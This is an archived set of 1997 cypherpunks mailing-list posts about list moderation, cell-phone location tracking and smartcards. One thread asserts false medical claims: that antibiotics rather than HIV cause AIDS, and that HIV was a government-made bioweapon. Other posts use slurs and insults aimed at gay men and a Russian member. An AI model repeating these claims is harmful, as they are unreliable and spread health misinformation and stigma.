> 
> I used to respect Gilmore until this series of incidents (unsubscribing
> me, turning list moderated).  Now I only have disdain for him.

I agree entirely, Gilmore was a respected man (despite the EFF being 
a corporate whore) who threw any respect and admiration others had 
for him away.
 
> > > I would like to hear your opinions as to whether such policies satisfy
> > > the current readership.
> >
> > I don`t think this is the point, John Gilmore is free to appoint
> > whoever he wants to moderate his list, he is free to censor all
> > messages which criticise him and his censorship, however, subscribers
> > to the list should be told they are being censored on these grounds
> > and not on some facade of "crypto relevancy" or another thin veil
> > drawn weakly over content based censorship to protect a certain class
> > of list members.
> 
> Quite a few people have expressed interest in re-creating an unmoderated
> cypherpunks list at another site if Gilmore decided to stick to his
> "moderation experiment".

I notice and appreciate the quotes around "moderation experiment", 
this is, without doubt, a permenant measure to silence members of the 
list who dare to offer criticism of anyone an element of {x: x a 
friend or co-censor of John Gilmore}

I do not have the resources to run such an unmoderated list but I 
hope someone on this list does and is good enough to start such a 
list, cypherpunks is a shell of what it once was. 

Also, please note this message will be junked onto cypherpunks-flames 
even though it contains no flames or flame bait because it dares to 
criticise the censorship of the list (once again Sandy, I give you an 
opportunity to prove me wrong).




  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 25 Jan 1997 16:49:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
In-Reply-To: <199701250957.BAA23610@toad.com>
Message-ID: <Pine.LNX.3.95.970125194709.1571B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 24 Jan 1997 aaron@herringn.com wrote:

> Presented in a "this will help 911" context. Still disconcerting.
> 
> [...]
> Companies working on the technology to track cellular phone calls
> have been given additional incentive with a Federal Communications
> Commission order that all cell phone service companies have location
> programs in place by the year 2001.
> [...]

I wonder how expensive it would be to put a GPS receiver in a cell phone and
have the option to transmit the coordinates on a separate channel.  There
would be little difference between this and forcing cell phone companies to
triangulate every call.  The primary motivation for this is almost certainly
"location escrow" to make it easier for the feds to track drug dealers.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMuqrJizIPc7jvyFpAQEmsAf+KysBgt9xRDg/Wp0yJ+jTBEwueVMZu0vB
z9KtEOQDLCZkd7bzzIeJwjXochpA5fqlXetP/pRyAT058ewE2OEYz3SgK2zwz3s/
LRTFHRAIdj4f/+7PTKx6LvoN4NPvKOssqZ4KpX/YYNm/pHhe7eKCY8uV2AEXnoxz
bfs6FgLDYhEtdBYhQGhSbRUgl0MrdW6crmEredavCkZCuqf6G6YOZ7PB1kGK3ZlH
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oDMP/ubR8cXokEzQgmhRo8eeHCXBJ8tiKOkKzstkTAdSGOONlc9ttQ==
=j7WP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 19:20:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fan mail from Gilmore, Sandfart, and friends
In-Reply-To: <3.0.32.19970124203349.006a229c@pop.netaddress.com>
Message-ID: <BD741D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From iverson@usa.net  Sat Jan 25 12:51:37 1997
>Received: by bwalk.dm.com (1.65/waf)
>	via UUCP; Sat, 25 Jan 97 13:06:18 EST
>	for dlv
>Received: (qmail 17565 invoked by uid 0); 25 Jan 1997 17:47:20 -0000
>Received: from nyc-ny15-18.ix.netcom.com (205.186.166.50) by netaddress.usa.net via mtad (2.0) on Sat Jan 25 10:47:15 1997
>Message-Id: <3.0.32.19970124203349.006a229c@pop.netaddress.com>
>X-Sender: iverson@pop.netaddress.com (Unverified)
>X-Mailer: Windows Eudora Pro Version 3.0 (32)
>Date: Sat, 25 Jan 1997 12:46:01 -0500
>To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>From: Casey Iverson <iverson@usa.net>
>Subject: Re: No Dimitri??
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>
>At 10:33 PM 1/23/97 EST, you wrote:
>>"William H. Geiger III" <whgiii@amaranth.com> writes:
>>
>>> I have noticed that there has not been any post from Dimitri in a couple of
>>> days.
>>>
>>> I am assuming that this means that the list moderation has now started?
>>
>>Yes - anything I say is junked irrespective of content.
>
>Devoid of content you piece of Russian Shit
>
>You have not completed the NetAddress survey.  Please login to http://netaddress.usa.net/ to start using NetAddress
>

So much shit in NYC...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 18:06:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mis-quote...
Message-ID: <199701260212.UAA16949@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I want to thank all those who sent me email apologizing for the mis-quote.
Your courtesy is appreciated.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 25 Jan 1997 20:59:34 -0800 (PST)
Subject: RE: US Info Supremacy
Message-ID: <01BC0B03.3CE85DC0@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
................................................................


He must be on vacation; he hasn't posted in quite a while.


    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 21:24:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <v02140b0aaf10850c79f1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Fri, 24 Jan 1997 aaron@herringn.com wrote:
>
>> Presented in a "this will help 911" context. Still disconcerting.
>>
>> [...]
>> Companies working on the technology to track cellular phone calls
>> have been given additional incentive with a Federal Communications
>> Commission order that all cell phone service companies have location
>> programs in place by the year 2001.
>> [...]
>

Looks like this might create an opportunity for 'anonymous' cellular rentals.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hello1@usa.net
Date: Sat, 25 Jan 1997 21:35:47 -0800 (PST)
Subject: EMAILONE'S BUSINESS CLASSIFIEDS
Message-ID: <199701260535.VAA09377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 21:48:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <32EAEFED.23AA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.

> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.

> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.

> Why do they take antibiotics?  Just curious.

I'm not precisely sure, but remember, I'm not saying that your typical
suburban, well-to-do, successful gay male falls into this category.

There are, OTOH, a lot of people in the city who have lifestyles which
are not represented accurately in the prime-time sitcoms, and the ones
who fall into the greatest health-risk category are IV drug users and
gay males (in the city, remember - i.e., Santa Monica boulevard).

Remember too those ads for male sexual lubricants - you cannot use
a condom with those lubricants.  Safe sex, I don't think so.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

You're kidding, yes?  Anything besides good food, exercise, sleep etc.
is bad for the immune system.  Antibiotics (usually "dead" germs of
some sort) are horrendous things to inject directly into your system.

In October 1959, after lapsing into a coma from a massive sinus
infection, I was given "a million units of penicillin" in the
children's hospital when first admitted.  I recovered OK after
two weeks, so I'm certainly not opposed to antibiotics for those
who really need them.  OTOH, our U.S. economy today is antibiotic-
and-hormone crazy, injecting cows, pigs, and chickens to name a few
animals, all in the hopes of raising production.  So why is the rate
of cancer going up so high?  It seems nearly everyone I know is
getting this degenerate disease when they get older.  Check out the
videos by Howard Lyman, who used to be a big-time "chemical" farmer.
One quote:  "My soil after a few years was like asbestos".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 25 Jan 1997 22:07:10 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701260606.WAA10383@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:44 AM 1/25/97 -0800, Lucky Green wrote:
>At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>  FYI:
>>>From: jsp@betz.biostr.washington.edu
>[...]
>>>    However, some hardware is required. Because the key is on a
>>>    smartcard, users must have smartcard readers installed on their
>>>    computers, which aren't yet widely available. But Pdr Andler of
>>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>>    will become standard on computers in Scandinavia.
>[...]
>
>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.


I suppose this is good news.  I just hope they implement a system, like 
Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
impossible for snoops or tampered hardware to leak useful information.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:27:57 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Cellular phone triangulation
In-Reply-To: <Pine.LNX.3.95.970125194709.1571B-100000@eclipse.voicenet.com>
Message-ID: <32EAF1A4.405A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.
>    The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

  Replace the words 'drug dealers' with the words 'everyone', and I
think
this becomes not only a correct statement, but a very revealing one.
  It doesn't matter whether the subject is crypto, cell phones, or any
communications item or issue, the 'answer' to the proclaimed 'problem',
according to the government, is to increase the government's ability
to monitor every citizen, everywhere, at any time.
  Our prisons are overflowing with drug dealers and drug users who were
put there by quite ordinary means which didn't involve violating or
discarding the rights of the ordinary citizen.  Yet we keep hearing
cries from the government for the desperate need to infringe on the
citizen's right to freedom and privacy, again and again, in order to
jail the guys who were supposed to be jailed by the 'last' infringement
on the average citizen (and the one before that).

  So far, as a result of the plethora of laws passed to enable law
enforcement agencies to 'catch drug dealers', I have seen only a
few minor criminals who are claimed to have been brought to justice
as a result of these laws, while seeing documentation of hundreds
and thousands of ordinary citizens being harassed and having their
human rights violated by these same laws.
  And still, we have people like Mark, who seem relatively intelligent
and informed but who still echo the party-line of Big Brother when
He proclaims that the average citizen must be subjected to new and
better ways to monitor the movements and activities of His citizens
in order to 'protect' them from 'drug dealers'.

  I am certain that the issues (and the debates about them) will be 
the same as today, when the dawn finally comes where we hear the 
announcement about the plans for identity-chip body-implants. I am 
sure that the government will tell us that our privacy and rights
will be protected by the Key Escrow encryption in the identity-chip
which will only be compromised for the purpose of catching 'drug
dealers' and other 'scum'.
  I am sure that the statement above will be pooh-paah'd by many as
an example of reactionary-paranoid thinking, but the same could be
said for all of the rights and privacy-infringing realities that
we currently live under. (Like having to provide samples of bodily
fluids to keep your job as a janitor--in case you've been dipping
into the coke stash of the CEO, who does 'not' have to piss in a
jar.)
  Five years from now, you may well be wearing an identity-anklet
at work (to combat employee-theft, etc.) and still laughing at
my ludicrous example of body-implant identity-chips. ("It's not
like they make us wear them at home, they are just for protecting
us from unfair firing by our employer.")
  Ten years from now, you may be wearing your identity-anklet at
home, and still laughing about the idiot who predicted body-implant
identity-chips. ("It's no trouble wearing it at home, especially
if it helps catch those damn 'drug dealers'. They are the only
ones who leave their house during the curfew hours, anyway.")
  A couple years after that, you will welcome the government
announcement that they have found a solution to the 'problem'
of having to wear the identity-anklet all of the time--the new,
improved, identity-chip solution--the body-implant ID-chip.
  Naturally, you will pooh-paah the naysayers who claim that
the body-implant chip will eventually have the capacity to
read your mind.
  ("The guy saying that is the same idiot who predicted that
we would all be wearing body-implant identity-chips...
  "Well, OK, that's a bad example, but...")

  You can fight the increasing hi-tech machinations of Big 
Brother to control our actions, movements, and our thoughts,
but it will cost an increasing amount of time and effort to
do so.
  Not to mention larger and larger amounts of money.
  But, maybe if you became a 'drug dealer'...

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:09:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260531.XAA01225@manifold.algebra.com>
Message-ID: <32EAF4C3.56CD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:

> > > My point about the antibiotics is that the male gays take a dis-
> > > proportionate amount of them, which compounds their problems.  It
> > > suggests to me that the immune system is already seriously debilitated
> > > or damaged before AIDS can take hold, rather than the notion that a
> > > healthy person can get it from the virii alone.

> Dale's hypothesis seems at odds with the linkage of aids and blood
> transfusion and transmission through needles.
> Nurses who contract aids through contaminated needles do not,
> normally, have devastated immune systems.

Let's be realistic about how AIDS is acquired.  A small analogy:

In my pockets I carry two wallets, one with $100's and the other with
smaller change, about 50 bills in various small denominations.  Let's
say tomorrow I spend a $10 bill at the bookstore, and the guy behind
the counter says "this is a phony bill".  So where did I get it?
Well, if pocket change were always LIFO (last in, first out), I might
be able to remember, but there's a good chance I wouldn't, since I go
to a lot of places and do a lot of small transactions.

Now I'm only talking 50 or so small bills, acquired and redistributed
over a period of at most a few months.  AIDS, OTOH, is likely to be
a development from years of  1) Contact with germs, chemicals, food
additives, antibiotics other medical treatments, sexual contact, etc.
and 2) Immune-suppressing activities such as lack of sleep and exercise,
anxiety and stress, and so on.

It seems to me that "proof" of someone acquiring AIDS from one stab
with a contaminated needle is a very nebulous thing. As far as nurses
go, the contact I've had with many of them tells me they are also
(on average) drug users extraordinaire.  Again, you'll be able to
find a very clean hospital in a big city with a bunch of nice clean
nurses in it (a lot of sweet old ladies is the image coming to mind),
but this is as unrealistic as Leave It To Beaver and other 1950's
nonsense.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:30:45 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260557.XAA01422@manifold.algebra.com>
Message-ID: <32EAF9EC.2E9F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:

> > Remember too those ads for male sexual lubricants - you cannot use
> > a condom with those lubricants.  Safe sex, I don't think so.

> That does not come close to a theory that would explain HIV away.

The virus I believe is best explained by the numerous articles that
were published in the 1970's on "gene splicing", and the fact that we
now have two certified (official) government requests on paper that
call for the development of an agent precisely like HIV, which were
in fact funded.  One was requested in 1979 (I think) by someone
representing the Ft. Detrick folks ($10 million), and the other
request was formally made by the World Health Organization.  Why
would the WHO want to develop a nasty bug like HIV?  Use your
imagination.  Does the virus actually cause the immune collapse?
That's still controversial, from what I hear.  Try to find some of
the material by Jakob Segal, who is heavily suppressed in the USA.

Also check out Jon Rappaport (who also did some excellent on-the-spot
interviews in OKC after the bombing), also Dr. Robert Strecker, whose
brother was murdered trying to investigate the political threads of
the origins of AIDS/HIV.

> > In October 1959, after lapsing into a coma from a massive sinus
> > infection, I was given "a million units of penicillin" in the
> > children's hospital when first admitted.  I recovered OK after
> > two weeks, so I'm certainly not opposed to antibiotics for those
> > who really need them.  OTOH, our U.S. economy today is antibiotic-
> > and-hormone crazy, injecting cows, pigs, and chickens to name a few
> > animals, all in the hopes of raising production.  So why is the rate
> > of cancer going up so high?  It seems nearly everyone I know is
> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> 
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

True if all other things are equal.  Try subtracting out some of the
cancer factors, and perhaps they'd die of something else.

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors. The
> way they cook all these fries, with overheated grease, is very bad.

Try an interesting experiment. Get an ordinary hamburger at McDonald's.
Take the "meat" out of the bun and break it in half, then hold the
broken edge up to your nose.  It helps to have good sense of smell,
but you'll probably get the picture anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: schtief@juno.com
Date: Sat, 25 Jan 1997 19:31:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: BITE ME
Message-ID: <19970125.182024.5167.0.schtief@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




  Bite me everyone. I am the Great Schtief, hear me roar.


  O O
    o
     -

Schtief the Great

http://pages.prodigy.com/VT/hackersguide
18007TOUCH1   ext. 131196
---------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 22:39:47 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.32.19970125224046.006d9a10@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 PM 1/25/97 -0800, jim bell wrote:
>>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.
>
>
>I suppose this is good news.  I just hope they implement a system, like 
>Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
>impossible for snoops or tampered hardware to leak useful information.

I understand that Intel's main problem at this time seem to be to find a keyboard manufacturer that understands that for the device to be effective, the CPU should not be involved in its operation.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:26:16 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251627.IAA28475@toad.com>
Message-ID: <32EAFDA5.2936@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > paul@fatmans.demon.co.uk wrote:

> >   It became rather glaringly obvious after moderation was announced
> > that class structure would be the defining feature of moderation.
> >   Those who felt themselves to be in the 'upper class' made no
> > bones about it.
> 
> That's a very insightful obeservation.

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 23:10:42 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Corelation
In-Reply-To: <32EB0402.B87@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970125225546.5214M-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 25 Jan 1997, Toto wrote:

>   Has anyone actually 'seen' John Gilmore, lately? Since there
> have been a number of postings indicating that the writer
> 'used to respect' Gilmore, I am wondering if perhaps this
> moderation experiment is not actually an attempt by someone
> to discredit him.

Well I saw John last night at the C2Net party, but I guess that's
not much reassurance.  :-)


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:27:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251627.IAA28475@toad.com>
Message-ID: <32EB01B6.69D7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

>   Jim Bell is a boor, but he had some very
> interesting ideas that upset the "cypher punk" crowd because he advocates
> dismantling the system they hope to join one day.

  I have enjoyed many of Jim Bell's posts, and occasionally sent him 
a note telling him so. Other posts of his leave me with the desire to
fire off a missive telling him what a low-down, scum-sucking sack of
shit he is.
  One thing I have gleaned from his posts is that he is an adult. As
such, I assume that he is fully capable of living his life according
to his own beliefs and standards, and will not be reduced to running
to his mother, crying, because of the expressions of my relevant or
non-relevant opinions.
  I have seen no posts from him indicating a desire to be 'saved'
from any less-than-applausitory comments on my part, but it seems
that others have taken it upon themselves to 'save' him, regardless.

  I fail to see how any supposedly intelligent members of the 
CypherPunks list can possibly be content to fall for the line,
  "Bend over, baby. I'm only going to moderate you 'a little bit'."

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 21:14:55 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260341.TAA08101@toad.com>
Message-ID: <199701260509.XAA01076@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Dr.Dimitri Vulis KOTM wrote:
> 
> > > > Both homosexual males and IV drug users are well known to take a lot
> > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > problems.
> 
> > Jim and Dale, I agree.
> > Also shooting one's bloodstream full of fecal matter hardly helps.
> 
> My point about the antibiotics is that the male gays take a dis-
> proportionate amount of them, which compounds their problems.  It
> suggests to me that the immune system is already seriously debilitated
> or damaged before AIDS can take hold, rather than the notion that a
> healthy person can get it from the virii alone.
> 
> One could argue that in the cases where the cures (antibiotics) add to
> a person's problems by further corrupting their immune system, that
> they should simply change their habits.  Since I don't see that as a
> reasonable possibility, the only thing left is that the public should
> be made aware of *all* of the relevant facts, even those which are
> heavily suppressed now for PC reasons.

Why do they take antibiotics? Just curious.

Also, I haven't heard that antibiotics were bad for immune system, 
has that been proven?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:26:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Corelation
Message-ID: <32EB0402.B87@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


My database seems to indicate a direct co-relation between the 
number of postings criticizing moderation and the number of 
UCE/Spam postings showing up on the list.
  i.e. When there are a number of postings critizizing Sandy's
moderation, then the diversionary UCE/Spam postings increase
dramatically.

  Has anyone actually 'seen' John Gilmore, lately? Since there
have been a number of postings indicating that the writer
'used to respect' Gilmore, I am wondering if perhaps this
moderation experiment is not actually an attempt by someone
to discredit him.
  Perhaps he is being held hostage somewhere, while the more
nefarious elements among us are trying to besmirch his good
name by using it to promote willy-nilly censorship and
class-elitism.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 00:00:14 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
In-Reply-To: <199701251755.JAA29412@toad.com>
Message-ID: <3.0.1.32.19970125231918.005b6c30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:50 PM 1/25/97 -0500, DataETRsch@aol.com wrote:
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.

Time travel?

	(PKP dissolved when the partners sued each other.
	There's a Cylink ex-partner, and an RSA ex-partner,
	available at www.*.com )

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 15:29:51 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals (no_one@nowhere.org)
In-Reply-To: <199701250956.BAA23557@toad.com>
Message-ID: <199701252329.QAA09472@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701250956.BAA23557@toad.com>, on 01/24/97 
   at 10:53 PM, no_one@nowhere.org gurgled:

+   And the CDC is the Centers for Disease Control; and it has since
+found many, many prior cases of AIDS. These three minor errors are
+indicative of Attila's reliability of the subject. Of course, no one 
+at CDC or NIH believes any of this crap; it was tired a decade ago.

       A man is known by the company he keeps; floating nyms are the 
    mark of a coward; why not just wear the mark of the beast?        

        ... no_one@nowhere.org's utterance is an average pronouncement 
    by a prototypical megalomaniacal, hedonistic cypherpunk who on days 
    of lesser grandeur, humour, or importance corrects spelling and 
    grammatical errors --unlike the standards you apparently set for 
    yourself? 

        I claim neither a medical degree nor the trade of a medical 
    reporter; the information presented was solely an illustration of 
    an unfortunate circumstance for both the AIDS victim and society as 
    a whole. 

        As to the current relevance of the AIDS victim (who, for that 
    matter, may even have been an urban legend after a few historical 
    rewrites) in today's revisionist politically correct special-
    interest social cauldron as promulgated by the mass hysterimedia 
    (an environment which can, and has, rewritten the words of Thomas 
    Jefferson to accommodate the current social agenda), the point is 
    not only lost; it is mute, along with the truth --both your 
    perceived truth and the historical truth.

        --attila

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqW2704kQrCC2kFAQE9MAQAluz6aLri1igCl8a/hE5clOQIyL3TjTG8
tzHHzEEQ4AzU4qtA2UiCSX1Y3eWAd4X/yL09C9HYrCzw9nRZHb0nBObw4+FGtU5L
+vGuWOOAnhh4xJsiDOqYMNIGKftteFWpT1CG9M4C+n/DfNiHzfQV/HlX/Az8j4iP
ovE04U/DpKI=
=IAdt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 21:35:26 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <199701260531.XAA01225@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Igor Chudov @ home wrote:
> 
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.

Dale's hypothesis seems at odds with the linkage of aids and blood 
transfusion and transmission through needles.

Nurses who contract aids through contaminated needles do not,
normally, have devastated immune systems.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 16:17:48 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: who the "fuck" am I?
In-Reply-To: <Pine.LNX.3.95.970125111610.12982A-100000@dhp.com>
Message-ID: <199701260017.RAA11394@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

